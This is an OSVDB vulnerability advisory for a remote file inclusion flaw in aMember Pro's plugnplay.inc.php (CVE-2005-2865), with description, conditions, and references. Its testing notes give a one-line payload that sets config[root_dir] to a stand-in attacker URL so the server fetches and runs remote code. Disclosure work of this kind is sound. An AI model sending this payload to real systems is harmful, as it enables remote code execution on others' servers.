aMember Pro plugnplay.inc.php Remote File Inclusion

2005-09-05T05:28:00
ID OSVDB:19456
Type osvdb
Reporter (4Degrees@46and2.com)
Modified 2005-09-05T05:28:00

Description

Vulnerability Description

aMember Pro contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to plugnplay.inc.php not properly sanitizing user input supplied to the 'config[root_dir]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Technical Description

This vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).

Solution Description

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

Short Description

aMember Pro contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to plugnplay.inc.php not properly sanitizing user input supplied to the 'config[root_dir]' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Manual Testing Notes

http://[target]/aMember/plugins/payment/plugnplay/plugnplay.inc.php POST: config[root_dir]=http://[attacker]/evil.php?

References:

Vendor URL: http://www.amember.com/ Related OSVDB ID: 19446 Related OSVDB ID: 19442 Related OSVDB ID: 19443 Related OSVDB ID: 19447 Related OSVDB ID: 19451 Related OSVDB ID: 19452 Related OSVDB ID: 19440 Related OSVDB ID: 19441 Related OSVDB ID: 19445 Related OSVDB ID: 19449 Related OSVDB ID: 19453 Related OSVDB ID: 19455 Related OSVDB ID: 19439 Related OSVDB ID: 19444 Related OSVDB ID: 19448 Related OSVDB ID: 19450 Related OSVDB ID: 19454 Related OSVDB ID: 19457 Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2005-09/0055.html ISS X-Force ID: 22157 CVE-2005-2865